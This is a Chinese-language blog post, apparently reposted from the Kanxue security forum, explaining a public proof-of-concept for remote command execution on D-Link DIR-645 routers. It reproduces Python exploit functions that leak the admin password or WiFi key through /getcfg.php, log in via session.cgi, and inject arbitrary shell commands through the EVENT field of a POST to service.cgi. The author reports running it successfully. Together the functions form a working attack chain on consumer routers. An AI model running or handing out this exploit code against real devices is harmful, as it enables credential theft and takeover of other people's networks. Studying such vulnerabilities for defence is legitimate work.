D-Link DIR 645 远程命令执行漏洞

栏目: Python · 发布时间: 6年前

内容简介:我这几天看了个漏洞是通过构造对路由器serviec.cgi的POST请求中的data段来达到远程执行命令的目的。这个漏洞据说在615和815中也能实现,但是我试了几台都没有成功,只有645中成功复现了。Cr0n1c最早给出了PoC,链接在这里:

我这几天看了个 D-Link DIR 645 的漏洞,花了一段时间看PoC,这里简单分享下。遗憾的是我想用binwalk提取这个路由器的文件系统,总是提取失败。

漏洞是通过构造对路由器serviec.cgi的POST请求中的data段来达到远程执行命令的目的。

这个漏洞据说在615和815中也能实现,但是我试了几台都没有成功,只有645中成功复现了。Cr0n1c最早给出了PoC,链接在这里:

https://packetstormsecurity.com/files/145859/dlinkroutersservice-exec.txt

我们来看看这个代码具体做了什么。

首先,它利用了一个比较旧的漏洞获得了路由器的管理员密码。这个漏洞编号是CWE-200。链接在这里:

https://vuldb.com/?id.7843 

这个漏洞就是说我们向路由器上的 /getcfg.php发出请求时,路由器会回复一个包含密码的页面。相关代码如下:

def attempt_password_find():
 
 # Going fishing in DEVICE.ACCOUNT looking for CWE-200 or no password
 
 data = query_getcfg("DEVICE.ACCOUNT")
 
 if not data:
 
 return False
 
 res = re.findall("<password>(.*?)</password>", data)
 
 if len(res) > 0 and res != "=OoXxGgYy=":
 
 return res[0]
 
 # Did not find it in first attempt
 
 data = query_getcfg("WIFI")
 
 if not data:
 
 return False
 
 res = re.findall("<key>(.*?)</key>", data)
 
 if len(res) > 0:
 
 return res[0]
 
 # All attempts failed, just going to return and wish best of luck!
 
 return False

我找到了一个D-Link DIR 645 并且试了下。

D-Link DIR 645 远程命令执行漏洞

我们还可以通过这样的命令行指令获得密码。

D-Link DIR 645 远程命令执行漏洞

不过,值得一提的是,这款路由器的user用户登陆是不需要密码的。第二个漏洞就是我们的远程命令执行了。要利用这个漏洞,首先得用刚刚获得的密码来创建一个session。

def create_session():
 post_content = {"REPORT_METHOD": "xml",
 "ACTION": "login_plaintext",
 "USER": "admin",
 "PASSWD": PASSWORD,
 "CAPTCHA": ""
 }
 
 try:
 r = requests.post(URL + "/session.cgi", data=post_content, headers=HEADER)
 except requests.exceptions.ConnectionError:
 print "Error: Failed to access " + URL + "/session.cgi"
 return False
 
 if not (r.status_code == 200 and r.reason == "OK"):
 print "Error: Did not recieve a HTTP 200"
 return False
 
 if not re.search("<RESULT>SUCCESS</RESULT>", r.text):
 print "Error: Did not get a success code"
 return False
 
 return True

然后构造线请求报文的data段就可以执行命令了。

def send_post(command, print_res=True):
 post_content = "EVENT=CHECKFW%26" + command + "%26"
 
 method = "POST"
 
 if URL.lower().startswith("https"):
 handler = urllib2.HTTPSHandler()
 else:
 handler = urllib2.HTTPHandler()
 
 opener = urllib2.build_opener(handler)
 request = urllib2.Request(URL + "/service.cgi", data=post_content, headers=HEADER)
 request.get_method = lambda: method
 
 try:
 connection = opener.open(request)
 except urllib2.HTTPError:
 print "Error: failed to connect to " + URL + "/service.cgi"
 return False
 except urllib2.HTTPSError:
 print "Error: failed to connect to " + URL + "/service.cgi"
 return False
 
 if not connection.code == 200:
 print "Error: Recieved status code " + str(connection.code)
 return False
 
 attempts = 0
 
 while attempts < 5:
 try:
 data = connection.read()
 except httplib.IncompleteRead:
 attempts += 1
 else:
 break
 
 if attempts == 5:
 print "Error: Chunking failed %d times, bailing." %attempts
 return False
 
 if print_res:
 return parse_results(data)
 else:
 return data

我尝试了下,可以成功。

D-Link DIR 645 远程命令执行漏洞

原来的PoC有一些小问题,我改进了下,可以在 python 2.7下运行。

- End -

D-Link DIR 645 远程命令执行漏洞

看雪ID: samohyes

https://bbs.pediy.com/user-753288.htm   

本文由看雪论坛  samohyes   原创

转载请注明来自看雪社区

D-Link DIR 645 远程命令执行漏洞

D-Link DIR 645 远程命令执行漏洞

公众号ID:ikanxue

官方微博:看雪安全

商务合作:wsc@kanxue.com

点击下方“阅读原文”,查看更多干货


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

让创意更有黏性

让创意更有黏性

[美] 奇普·希思、[美] 丹·希思 / 姜奕晖 / 中信出版社 / 2014-1-8 / 49.00元

你或许相信在太空中唯一能看到的人工建筑就是万里长城,可乐能腐蚀人体骨骼,我们的大脑使用了10%;与此同时,你却记不得上周例会上领导的安排,昨天看过的那本书里写了什么,上次参加培训的主要内容…… 为什么? 这就引发出《让创意更有黏性》的核心问题:什么样的观点或创意具有强有力的黏性,能被他人牢牢记住? 国际知名行为心理学家希思兄弟根据大量的社会心理学研究案例,揭示了让创意或观点具有黏......一起来看看 《让创意更有黏性》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

html转js在线工具
html转js在线工具

html转js在线工具